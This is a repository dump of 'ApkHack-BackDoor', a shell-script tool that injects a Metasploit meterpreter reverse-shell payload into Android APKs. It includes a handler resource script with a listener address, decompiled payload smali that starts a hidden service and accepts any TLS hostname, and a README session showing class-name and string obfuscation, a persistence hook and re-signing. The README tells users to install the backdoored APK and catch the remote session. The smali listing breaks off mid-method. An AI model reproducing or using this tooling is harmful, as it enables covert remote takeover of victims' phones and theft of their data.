├── 1.png ├── 2.png ├── signing.keystore ├── bin └── classes │ ├── classes.dex │ └── smali │ └── net │ └── dirtybox │ └── util │ └── obfuscation │ └── StringObfuscator.smali ├── payload ├── original │ ├── AndroidManifest.xml │ └── META-INF │ │ ├── SIGNFILE.RSA │ │ ├── MANIFEST.MF │ │ └── SIGNFILE.SF ├── res │ └── values │ │ ├── strings.xml │ │ └── public.xml ├── apktool.yml ├── smali │ ├── com │ │ └── metasploit │ │ │ └── stage │ │ │ ├── e.smali │ │ │ ├── g.smali │ │ │ ├── MainActivity.smali │ │ │ ├── d.smali │ │ │ ├── c.smali │ │ │ ├── a.smali │ │ │ ├── f.smali │ │ │ └── b.smali │ └── net │ │ └── dirtybox │ │ └── util │ │ └── obfuscation │ │ └── StringObfuscator.smali └── AndroidManifest.xml ├── backdoor-apk.rc ├── java └── classes │ └── net │ └── dirtybox │ └── util │ └── obfuscation │ └── StringObfuscator.class ├── obfuscate.method ├── persistence.hook ├── run.log ├── cleanup.sh ├── README.md └── ApkHack-BackDoor.sh /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/1.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/2.png -------------------------------------------------------------------------------- /signing.keystore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/signing.keystore -------------------------------------------------------------------------------- /bin/classes/classes.dex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/bin/classes/classes.dex -------------------------------------------------------------------------------- /payload/original/AndroidManifest.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/payload/original/AndroidManifest.xml -------------------------------------------------------------------------------- /payload/original/META-INF/SIGNFILE.RSA: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/payload/original/META-INF/SIGNFILE.RSA -------------------------------------------------------------------------------- /payload/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | MainActivity 4 | 5 | -------------------------------------------------------------------------------- /payload/res/values/public.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /backdoor-apk.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set PAYLOAD android/meterpreter/reverse_https 3 | set LHOST 172.16.16.240 4 | set LPORT 8080 5 | set ExitOnSession false 6 | exploit -j -z 7 | -------------------------------------------------------------------------------- /java/classes/net/dirtybox/util/obfuscation/StringObfuscator.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cihan-ozcan/ApkHack-BackDoor/HEAD/java/classes/net/dirtybox/util/obfuscation/StringObfuscator.class -------------------------------------------------------------------------------- /obfuscate.method: -------------------------------------------------------------------------------- 1 | const-string ###REG###, "###VALUE###" 2 | 3 | invoke-static {###REG###}, L###CLASS###;->###METHOD###(Ljava/lang/String;)Ljava/lang/String; 4 | 5 | move-result-object ###REG### 6 | -------------------------------------------------------------------------------- /persistence.hook: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /payload/original/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Permissions: all-permissions 3 | 4 | Name: AndroidManifest.xml 5 | SHA1-Digest: Ph5+fVYSWsrxhBOuHEJ3GvRvuks= 6 | 7 | Name: resources.arsc 8 | SHA1-Digest: q6tLFZ0Um4o2+Tv1iTgUmlJfTSA= 9 | 10 | Name: classes.dex 11 | SHA1-Digest: v5jwIadf25N9SOxa87kfev9VRao= 12 | 13 | -------------------------------------------------------------------------------- /payload/original/META-INF/SIGNFILE.SF: -------------------------------------------------------------------------------- 1 | Signature-Version: 1.0 2 | Created-By: 1.6.0_18 (Sun Microsystems Inc.) 3 | 4 | Name: AndroidManifest.xml 5 | SHA1-Digest: II99ttSP+52yBaSnLAaxTyNQZ34= 6 | 7 | Name: resources.arsc 8 | SHA1-Digest: ornPZXwQQAFXxqONtz41S16rWyk= 9 | 10 | Name: classes.dex 11 | SHA1-Digest: hLSw+Ymq7Chr/0Uc2jCeHrjRA1c= 12 | 13 | -------------------------------------------------------------------------------- /run.log: -------------------------------------------------------------------------------- 1 | Running backdoor-apk at Wed 10 May 2023 12:20:07 PM WAT 2 | /usr/bin/msfvenom 3 | /usr/bin/baksmali 4 | /usr/bin/unzip 5 | /usr/bin/keytool 6 | /usr/bin/jarsigner 7 | /usr/local/bin/apktool 8 | third-party/android-string-obfuscator/lib/aso 9 | third-party/android-sdk-linux/build-tools/25.0.2/dx 10 | third-party/android-sdk-linux/build-tools/25.0.2/zipalign 11 | -------------------------------------------------------------------------------- /payload/apktool.yml: -------------------------------------------------------------------------------- 1 | !!brut.androlib.meta.MetaInfo 2 | apkFileName: Rat.apk 3 | compressionType: false 4 | doNotCompress: null 5 | isFrameworkApk: false 6 | packageInfo: 7 | forcedPackageId: '127' 8 | renameManifestPackage: null 9 | sdkInfo: 10 | minSdkVersion: '10' 11 | targetSdkVersion: '17' 12 | sharedLibrary: false 13 | sparseResources: true 14 | unknownFiles: {} 15 | usesFramework: 16 | ids: 17 | - 1 18 | tag: null 19 | version: 2.6.1 20 | versionInfo: 21 | versionCode: '1' 22 | versionName: '1.0' 23 | -------------------------------------------------------------------------------- /cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # cleanup.sh 4 | 5 | # usage: ./cleanup.sh 6 | 7 | function rmdirz { 8 | if [ -d $1 ]; then 9 | rm -rf $1 10 | fi 11 | } 12 | 13 | function rmfilez { 14 | if [ -f $1 ]; then 15 | rm $1 16 | fi 17 | } 18 | 19 | rmdirz bin 20 | rmdirz libs 21 | rmdirz original 22 | rmdirz payload 23 | rmdirz tmp 24 | 25 | rmfilez Rat.apk 26 | rmfilez perms.tmp 27 | rmfilez persistence.hook 28 | rmfilez obfuscate.method 29 | rmfilez signing.keystore 30 | rmfilez backdoorhack-apk.rc 31 | 32 | exit 0 33 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/e.smali: -------------------------------------------------------------------------------- 1 | .class final Lcom/metasploit/stage/e; 2 | .super Ljava/lang/Thread; 3 | 4 | 5 | # direct methods 6 | .method constructor ()V 7 | .locals 0 8 | 9 | invoke-direct {p0}, Ljava/lang/Thread;->()V 10 | 11 | return-void 12 | .end method 13 | 14 | 15 | # virtual methods 16 | .method public final run()V 17 | .locals 1 18 | 19 | const/4 v0, 0x0 20 | 21 | invoke-static {v0}, Lcom/metasploit/stage/Payload;->main([Ljava/lang/String;)V 22 | 23 | return-void 24 | .end method 25 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/g.smali: -------------------------------------------------------------------------------- 1 | .class public final Lcom/metasploit/stage/g; 2 | .super Ljava/lang/Object; 3 | 4 | 5 | # instance fields 6 | .field public a:Ljava/lang/String; 7 | 8 | .field public b:J 9 | 10 | .field public c:J 11 | 12 | .field public d:Ljava/lang/String; 13 | 14 | .field public e:[B 15 | 16 | .field public f:Ljava/lang/String; 17 | 18 | 19 | # direct methods 20 | .method public constructor ()V 21 | .locals 0 22 | 23 | invoke-direct {p0}, Ljava/lang/Object;->()V 24 | 25 | return-void 26 | .end method 27 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/MainActivity.smali: -------------------------------------------------------------------------------- 1 | .class public Lcom/metasploit/stage/MainActivity; 2 | .super Landroid/app/Activity; 3 | 4 | 5 | # direct methods 6 | .method public constructor ()V 7 | .locals 0 8 | 9 | invoke-direct {p0}, Landroid/app/Activity;->()V 10 | 11 | return-void 12 | .end method 13 | 14 | 15 | # virtual methods 16 | .method protected onCreate(Landroid/os/Bundle;)V 17 | .locals 0 18 | 19 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V 20 | 21 | invoke-static {p0}, Lcom/metasploit/stage/MainService;->startService(Landroid/content/Context;)V 22 | 23 | invoke-virtual {p0}, Lcom/metasploit/stage/MainActivity;->finish()V 24 | 25 | return-void 26 | .end method 27 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/d.smali: -------------------------------------------------------------------------------- 1 | .class final Lcom/metasploit/stage/d; 2 | .super Ljava/lang/Object; 3 | 4 | # interfaces 5 | .implements Ljava/lang/Runnable; 6 | 7 | 8 | # instance fields 9 | .field private synthetic a:Ljava/lang/reflect/Method; 10 | 11 | 12 | # direct methods 13 | .method constructor (Ljava/lang/reflect/Method;)V 14 | .locals 0 15 | 16 | iput-object p1, p0, Lcom/metasploit/stage/d;->a:Ljava/lang/reflect/Method; 17 | 18 | invoke-direct {p0}, Ljava/lang/Object;->()V 19 | 20 | return-void 21 | .end method 22 | 23 | 24 | # virtual methods 25 | .method public final run()V 26 | .locals 3 27 | 28 | :try_start_0 29 | iget-object v0, p0, Lcom/metasploit/stage/d;->a:Ljava/lang/reflect/Method; 30 | 31 | const/4 v1, 0x0 32 | 33 | const/4 v2, 0x0 34 | 35 | invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; 36 | 37 | move-result-object v0 38 | 39 | check-cast v0, Landroid/content/Context; 40 | 41 | if-eqz v0, :cond_0 42 | 43 | invoke-static {v0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 44 | :try_end_0 45 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 46 | 47 | :cond_0 48 | :goto_0 49 | return-void 50 | 51 | :catch_0 52 | move-exception v0 53 | 54 | goto :goto_0 55 | .end method 56 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/c.smali: -------------------------------------------------------------------------------- 1 | .class final Lcom/metasploit/stage/c; 2 | .super Ljava/lang/Object; 3 | 4 | # interfaces 5 | .implements Ljava/lang/Runnable; 6 | 7 | 8 | # instance fields 9 | .field private synthetic a:Ljava/lang/reflect/Method; 10 | 11 | 12 | # direct methods 13 | .method constructor (Ljava/lang/reflect/Method;)V 14 | .locals 0 15 | 16 | iput-object p1, p0, Lcom/metasploit/stage/c;->a:Ljava/lang/reflect/Method; 17 | 18 | invoke-direct {p0}, Ljava/lang/Object;->()V 19 | 20 | return-void 21 | .end method 22 | 23 | 24 | # virtual methods 25 | .method public final run()V 26 | .locals 3 27 | 28 | :try_start_0 29 | iget-object v0, p0, Lcom/metasploit/stage/c;->a:Ljava/lang/reflect/Method; 30 | 31 | const/4 v1, 0x0 32 | 33 | const/4 v2, 0x0 34 | 35 | invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; 36 | 37 | move-result-object v0 38 | 39 | check-cast v0, Landroid/content/Context; 40 | 41 | if-eqz v0, :cond_0 42 | 43 | invoke-static {v0}, Lcom/metasploit/stage/MainService;->startService(Landroid/content/Context;)V 44 | :try_end_0 45 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 46 | 47 | :cond_0 48 | :goto_0 49 | return-void 50 | 51 | :catch_0 52 | move-exception v0 53 | 54 | goto :goto_0 55 | .end method 56 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/a.smali: -------------------------------------------------------------------------------- 1 | .class public final Lcom/metasploit/stage/a; 2 | .super Ljava/lang/Object; 3 | 4 | 5 | # instance fields 6 | .field public a:I 7 | 8 | .field public b:J 9 | 10 | .field public c:Ljava/lang/String; 11 | 12 | .field public d:Ljava/util/List; 13 | 14 | 15 | # direct methods 16 | .method public constructor ()V 17 | .locals 1 18 | 19 | invoke-direct {p0}, Ljava/lang/Object;->()V 20 | 21 | new-instance v0, Ljava/util/LinkedList; 22 | 23 | invoke-direct {v0}, Ljava/util/LinkedList;->()V 24 | 25 | iput-object v0, p0, Lcom/metasploit/stage/a;->d:Ljava/util/List; 26 | 27 | return-void 28 | .end method 29 | 30 | .method public static a(Ljava/net/URLConnection;Ljava/lang/String;Ljava/lang/String;)V 31 | .locals 8 32 | 33 | const/4 v7, 0x2 34 | 35 | const/4 v6, 0x1 36 | 37 | const/4 v1, 0x0 38 | 39 | invoke-static {p2}, Lcom/metasploit/stage/a;->a(Ljava/lang/String;)Z 40 | 41 | move-result v0 42 | 43 | if-nez v0, :cond_0 44 | 45 | const-string v0, "User-Agent" 46 | 47 | invoke-virtual {p0, v0, p2}, Ljava/net/URLConnection;->addRequestProperty(Ljava/lang/String;Ljava/lang/String;)V 48 | 49 | :cond_0 50 | const-string v0, "\r\n" 51 | 52 | invoke-virtual {p1, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 53 | 54 | move-result-object v2 55 | 56 | array-length v3, v2 57 | 58 | move v0, v1 59 | 60 | :goto_0 61 | if-ge v0, v3, :cond_2 62 | 63 | aget-object v4, v2, v0 64 | 65 | invoke-static {v4}, Lcom/metasploit/stage/a;->a(Ljava/lang/String;)Z 66 | 67 | move-result v5 68 | 69 | if-nez v5, :cond_1 70 | 71 | const-string v5, ": " 72 | 73 | invoke-virtual {v4, v5, v7}, Ljava/lang/String;->split(Ljava/lang/String;I)[Ljava/lang/String; 74 | 75 | move-result-object v4 76 | 77 | array-length v5, v4 78 | 79 | if-ne v5, v7, :cond_1 80 | 81 | aget-object v5, v4, v1 82 | 83 | invoke-static {v5}, Lcom/metasploit/stage/a;->a(Ljava/lang/String;)Z 84 | 85 | move-result v5 86 | 87 | if-nez v5, :cond_1 88 | 89 | aget-object v5, v4, v6 90 | 91 | invoke-static {v5}, Lcom/metasploit/stage/a;->a(Ljava/lang/String;)Z 92 | 93 | move-result v5 94 | 95 | if-nez v5, :cond_1 96 | 97 | aget-object v5, v4, v1 98 | 99 | aget-object v4, v4, v6 100 | 101 | invoke-virtual {p0, v5, v4}, Ljava/net/URLConnection;->addRequestProperty(Ljava/lang/String;Ljava/lang/String;)V 102 | 103 | :cond_1 104 | add-int/lit8 v0, v0, 0x1 105 | 106 | goto :goto_0 107 | 108 | :cond_2 109 | return-void 110 | .end method 111 | 112 | .method private static a(Ljava/lang/String;)Z 113 | .locals 1 114 | 115 | if-eqz p0, :cond_0 116 | 117 | const-string v0, "" 118 | 119 | invoke-virtual {v0, p0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z 120 | 121 | move-result v0 122 | 123 | if-eqz v0, :cond_1 124 | 125 | :cond_0 126 | const/4 v0, 0x1 127 | 128 | :goto_0 129 | return v0 130 | 131 | :cond_1 132 | const/4 v0, 0x0 133 | 134 | goto :goto_0 135 | .end method 136 | -------------------------------------------------------------------------------- /payload/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ApkHack-BackDoor 2 | ApkHack-BackDoor is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of any Linux distribution, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for only educational purposes. For Questions, email me darkhubgeek@gmail.com. 3 | 4 | ![apphack1](https://github.com/BitWalls-ops/ApkHack-BackDoor/blob/main/1.png) 5 | ![apphack1](https://github.com/BitWalls-ops/ApkHack-BackDoor/blob/main/2.png) 6 | 7 | Usage: 8 | 9 | ``` 10 | root@parrot:~/Code/script/ApkHack-BackDoor/ApkHack-BackDoor# ./ApkHack-BackDoor.sh DarkHub.apk 11 | _ ____ _ __ _ _ _ ____ _ __ 12 | / \ | _ \| |/ / | | | | / \ / ___| |/ / 13 | / _ \ | |_) | ' / | |_| | / _ \| | | ' / 14 | / ___ \| __/| . \ | _ |/ ___ \ |___| . \ 15 | /_/ \_\_| |_|\_\ |_| |_/_/ \_\____|_|\_\ 16 | BitWalls-ops DarkHub 17 | 18 | 19 | [*] Running ApkHack-BackDoor.sh v2.0.4a on Tue May 9 17:13:37 EDT 2023 20 | [+] Android payload options: 21 | 1) meterpreter/reverse_http 4) shell/reverse_http 22 | 2) meterpreter/reverse_https 5) shell/reverse_https 23 | 3) meterpreter/reverse_tcp 6) shell/reverse_tcp 24 | [?] Please select an Android payload option: 2 25 | [?] Please enter an LHOST value: 107.4.9.31 26 | [?] Please enter an LPORT value: 8080 27 | [+] Android manifest permission options: 28 | 1) Keep original 29 | 2) Merge with payload and shuffle 30 | [?] Please select an Android manifest permission option: 2 31 | [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc 32 | [*] Decompiling original APK file...done. 33 | [*] Locating smali file to hook in original project...done. 34 | [+] Package where RAT smali files will be injected: com/baidu/browser/inter 35 | [+] Smali file to hook RAT payload: com/dark/hub/inter/BdApplication.smali 36 | [*] Generating RAT APK file...done. 37 | [*] Decompiling RAT APK file...done. 38 | [*] Merging permissions of original and payload projects...done. 39 | [*] Injecting helpful Java classes in RAT APK file...done. 40 | [*] Creating new directory in original package for RAT smali files...done. 41 | [+] Inject package path: com/baidu/browser/inter/pjese 42 | [+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym 43 | [+] Generated new smali class name for MainService.smali: Aupyx 44 | [+] Generated new smali class name for Payload.smali: Nwiuc 45 | [+] Generated new smali class name for StringObfuscator.smali: Abnrw 46 | [+] Generated new smali method name for StringObfuscator.obfuscate method: icobf 47 | [+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik 48 | [*] Copying RAT smali files to new directories in original project...done. 49 | [*] Fixing RAT smali files...done. 50 | [*] Obfuscating const-string values in RAT smali files...done. 51 | [*] Adding hook in original smali file...done. 52 | [*] Adding persistence hook in original project...done. 53 | [*] Recompiling original project with backdoor...done. 54 | [*] Generating RSA key for signing...done. 55 | [*] Signing recompiled APK...done. 56 | [*] Verifying signed artifacts...done. 57 | [*] Aligning recompiled APK...done. 58 | root@parrot:~/Code/script/ApkHack-BackDoor/ApkHack-BackDoor# 59 | ``` 60 | 61 | The recompiled APK will be found in the 'original/dist' directory. Install the APK on a compatible Android device, run it, and handle the meterpreter connection via the generated resource script: msfconsole -r backdoor-apk.rc 62 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/f.smali: -------------------------------------------------------------------------------- 1 | .class public final Lcom/metasploit/stage/f; 2 | .super Ljava/lang/Object; 3 | 4 | # interfaces 5 | .implements Ljavax/net/ssl/HostnameVerifier; 6 | .implements Ljavax/net/ssl/X509TrustManager; 7 | 8 | 9 | # instance fields 10 | .field private a:[B 11 | 12 | 13 | # direct methods 14 | .method private constructor ([B)V 15 | .locals 0 16 | 17 | invoke-direct {p0}, Ljava/lang/Object;->()V 18 | 19 | iput-object p1, p0, Lcom/metasploit/stage/f;->a:[B 20 | 21 | return-void 22 | .end method 23 | 24 | .method public static a(Ljava/net/URLConnection;[B)V 25 | .locals 5 26 | 27 | instance-of v0, p0, Ljavax/net/ssl/HttpsURLConnection; 28 | 29 | if-eqz v0, :cond_0 30 | 31 | check-cast p0, Ljavax/net/ssl/HttpsURLConnection; 32 | 33 | new-instance v0, Lcom/metasploit/stage/f; 34 | 35 | invoke-direct {v0, p1}, Lcom/metasploit/stage/f;->([B)V 36 | 37 | const-string v1, "SSL" 38 | 39 | invoke-static {v1}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext; 40 | 41 | move-result-object v1 42 | 43 | const/4 v2, 0x0 44 | 45 | const/4 v3, 0x1 46 | 47 | new-array v3, v3, [Ljavax/net/ssl/TrustManager; 48 | 49 | const/4 v4, 0x0 50 | 51 | aput-object v0, v3, v4 52 | 53 | new-instance v4, Ljava/security/SecureRandom; 54 | 55 | invoke-direct {v4}, Ljava/security/SecureRandom;->()V 56 | 57 | invoke-virtual {v1, v2, v3, v4}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V 58 | 59 | invoke-virtual {v1}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory; 60 | 61 | move-result-object v1 62 | 63 | invoke-virtual {p0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V 64 | 65 | invoke-virtual {p0, v0}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V 66 | 67 | :cond_0 68 | return-void 69 | .end method 70 | 71 | 72 | # virtual methods 73 | .method public final checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V 74 | .locals 0 75 | 76 | return-void 77 | .end method 78 | 79 | .method public final checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V 80 | .locals 4 81 | 82 | iget-object v0, p0, Lcom/metasploit/stage/f;->a:[B 83 | 84 | if-nez v0, :cond_1 85 | 86 | :cond_0 87 | return-void 88 | 89 | :cond_1 90 | if-eqz p1, :cond_2 91 | 92 | array-length v0, p1 93 | 94 | if-gtz v0, :cond_3 95 | 96 | :cond_2 97 | new-instance v0, Ljava/security/cert/CertificateException; 98 | 99 | invoke-direct {v0}, Ljava/security/cert/CertificateException;->()V 100 | 101 | throw v0 102 | 103 | :cond_3 104 | array-length v1, p1 105 | 106 | const/4 v0, 0x0 107 | 108 | :goto_0 109 | if-ge v0, v1, :cond_0 110 | 111 | aget-object v2, p1, v0 112 | 113 | :try_start_0 114 | const-string v3, "SHA-1" 115 | 116 | invoke-static {v3}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest; 117 | 118 | move-result-object v3 119 | 120 | invoke-virtual {v2}, Ljava/security/cert/X509Certificate;->getEncoded()[B 121 | 122 | move-result-object v2 123 | 124 | invoke-virtual {v3, v2}, Ljava/security/MessageDigest;->update([B)V 125 | 126 | invoke-virtual {v3}, Ljava/security/MessageDigest;->digest()[B 127 | 128 | move-result-object v2 129 | 130 | iget-object v3, p0, Lcom/metasploit/stage/f;->a:[B 131 | 132 | invoke-static {v3, v2}, Ljava/util/Arrays;->equals([B[B)Z 133 | 134 | move-result v2 135 | 136 | if-nez v2, :cond_4 137 | 138 | new-instance v0, Ljava/security/cert/CertificateException; 139 | 140 | const-string v1, "Invalid certificate" 141 | 142 | invoke-direct {v0, v1}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V 143 | 144 | throw v0 145 | :try_end_0 146 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 147 | 148 | :catch_0 149 | move-exception v0 150 | 151 | new-instance v1, Ljava/security/cert/CertificateException; 152 | 153 | invoke-direct {v1, v0}, Ljava/security/cert/CertificateException;->(Ljava/lang/Throwable;)V 154 | 155 | throw v1 156 | 157 | :cond_4 158 | add-int/lit8 v0, v0, 0x1 159 | 160 | goto :goto_0 161 | .end method 162 | 163 | .method public final getAcceptedIssuers()[Ljava/security/cert/X509Certificate; 164 | .locals 1 165 | 166 | const/4 v0, 0x0 167 | 168 | new-array v0, v0, [Ljava/security/cert/X509Certificate; 169 | 170 | return-object v0 171 | .end method 172 | 173 | .method public final verify(Ljava/lang/String;Ljavax/net/ssl/SSLSession;)Z 174 | .locals 1 175 | 176 | const/4 v0, 0x1 177 | 178 | return v0 179 | .end method 180 | -------------------------------------------------------------------------------- /payload/smali/com/metasploit/stage/b.smali: -------------------------------------------------------------------------------- 1 | .class public final Lcom/metasploit/stage/b; 2 | .super Ljava/lang/Object; 3 | 4 | 5 | # static fields 6 | .field private static final a:J 7 | 8 | 9 | # direct methods 10 | .method static constructor ()V 11 | .locals 4 12 | 13 | sget-object v0, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 14 | 15 | const-wide/16 v2, 0x1 16 | 17 | invoke-virtual {v0, v2, v3}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 18 | 19 | move-result-wide v0 20 | 21 | sput-wide v0, Lcom/metasploit/stage/b;->a:J 22 | 23 | return-void 24 | .end method 25 | 26 | .method private static a([BI)I 27 | .locals 4 28 | 29 | const/4 v0, 0x0 30 | 31 | move v1, v0 32 | 33 | :goto_0 34 | const/4 v2, 0x4 35 | 36 | if-ge v0, v2, :cond_0 37 | 38 | add-int v2, v0, p1 39 | 40 | aget-byte v2, p0, v2 41 | 42 | and-int/lit16 v2, v2, 0xff 43 | 44 | shl-int/lit8 v3, v0, 0x3 45 | 46 | shl-int/2addr v2, v3 47 | 48 | or-int/2addr v1, v2 49 | 50 | add-int/lit8 v0, v0, 0x1 51 | 52 | goto :goto_0 53 | 54 | :cond_0 55 | return v1 56 | .end method 57 | 58 | .method public static a([B)Lcom/metasploit/stage/a; 59 | .locals 11 60 | 61 | const/16 v10, 0x40 62 | 63 | const/4 v1, 0x0 64 | 65 | const/16 v2, 0x10 66 | 67 | new-instance v3, Lcom/metasploit/stage/a; 68 | 69 | invoke-direct {v3}, Lcom/metasploit/stage/a;->()V 70 | 71 | invoke-static {p0, v1}, Lcom/metasploit/stage/b;->a([BI)I 72 | 73 | move-result v0 74 | 75 | iput v0, v3, Lcom/metasploit/stage/a;->a:I 76 | 77 | sget-wide v4, Lcom/metasploit/stage/b;->a:J 78 | 79 | const/16 v0, 0xc 80 | 81 | invoke-static {p0, v0}, Lcom/metasploit/stage/b;->a([BI)I 82 | 83 | move-result v0 84 | 85 | int-to-long v6, v0 86 | 87 | mul-long/2addr v4, v6 88 | 89 | iput-wide v4, v3, Lcom/metasploit/stage/a;->b:J 90 | 91 | invoke-static {p0, v2, v2}, Lcom/metasploit/stage/b;->b([BII)[B 92 | 93 | const/16 v0, 0x20 94 | 95 | invoke-static {p0, v0, v2}, Lcom/metasploit/stage/b;->b([BII)[B 96 | 97 | const/16 v0, 0x30 98 | 99 | iget v2, v3, Lcom/metasploit/stage/a;->a:I 100 | 101 | and-int/lit8 v2, v2, 0x1 102 | 103 | if-eqz v2, :cond_0 104 | 105 | const/16 v2, 0x1f40 106 | 107 | const/16 v4, 0x64 108 | 109 | invoke-static {p0, v2, v4}, Lcom/metasploit/stage/b;->a([BII)Ljava/lang/String; 110 | 111 | move-result-object v2 112 | 113 | iput-object v2, v3, Lcom/metasploit/stage/a;->c:Ljava/lang/String; 114 | 115 | :cond_0 116 | :goto_0 117 | aget-byte v2, p0, v0 118 | 119 | if-eqz v2, :cond_5 120 | 121 | new-instance v4, Lcom/metasploit/stage/g; 122 | 123 | invoke-direct {v4}, Lcom/metasploit/stage/g;->()V 124 | 125 | const/16 v2, 0x200 126 | 127 | invoke-static {p0, v0, v2}, Lcom/metasploit/stage/b;->a([BII)Ljava/lang/String; 128 | 129 | move-result-object v2 130 | 131 | iput-object v2, v4, Lcom/metasploit/stage/g;->a:Ljava/lang/String; 132 | 133 | add-int/lit16 v0, v0, 0x200 134 | 135 | add-int/lit8 v0, v0, 0x4 136 | 137 | sget-wide v6, Lcom/metasploit/stage/b;->a:J 138 | 139 | invoke-static {p0, v0}, Lcom/metasploit/stage/b;->a([BI)I 140 | 141 | move-result v2 142 | 143 | int-to-long v8, v2 144 | 145 | mul-long/2addr v6, v8 146 | 147 | iput-wide v6, v4, Lcom/metasploit/stage/g;->b:J 148 | 149 | add-int/lit8 v0, v0, 0x4 150 | 151 | sget-wide v6, Lcom/metasploit/stage/b;->a:J 152 | 153 | invoke-static {p0, v0}, Lcom/metasploit/stage/b;->a([BI)I 154 | 155 | move-result v2 156 | 157 | int-to-long v8, v2 158 | 159 | mul-long/2addr v6, v8 160 | 161 | iput-wide v6, v4, Lcom/metasploit/stage/g;->c:J 162 | 163 | add-int/lit8 v0, v0, 0x4 164 | 165 | iget-object v2, v4, Lcom/metasploit/stage/g;->a:Ljava/lang/String; 166 | 167 | const-string v5, "http" 168 | 169 | invoke-virtual {v2, v5}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z 170 | 171 | move-result v2 172 | 173 | if-eqz v2, :cond_4 174 | 175 | const/16 v2, 0x80 176 | 177 | invoke-static {p0, v0, v2}, Lcom/metasploit/stage/b;->a([BII)Ljava/lang/String; 178 | 179 | add-int/lit16 v0, v0, 0x80 180 | 181 | invoke-static {p0, v0, v10}, Lcom/metasploit/stage/b;->a([BII)Ljava/lang/String; 182 | 183 | add-int/lit8 v0, v0, 0x40 184 | 185 | invoke-static {p0, v0, v10}, Lcom/metasploit/stage/b;->a([BII)Ljava/lang/String; 186 | 187 | add-int/lit8 v0, v0, 0x40 188 | 189 | const/16 v2, 0x100 190 | 191 | invoke-static {p0, v0, v2}, Lcom/metasploit/stage/b;->a([BII)Ljava/lang/String; 192 | 193 | move-result-object v2 194 | 195 | iput-object v2, v4, Lcom/metasploit/stage/g;->d:Ljava/lang/String; 196 | 197 | add-int/lit16 v0, v0, 0x100 198 | 199 | const/4 v2, 0x0 200 | 201 | iput-object v2, v4, Lcom/metasploit/stage/g;->e:[B 202 | 203 | const/16 v2, 0x14 204 | 205 | invoke-static {p0, v0, v2}, Lcom/metasploit/stage/b;->b([BII)[B 206 | 207 | move-result-object v5 208 | 209 | add-int/lit8 v2, v0, 0x14 210 | 211 | move v0, v1 212 | 213 | :goto_1 214 | array-length v6, v5 215 | 216 | if-ge v0, v6, :cond_1 217 | 218 | 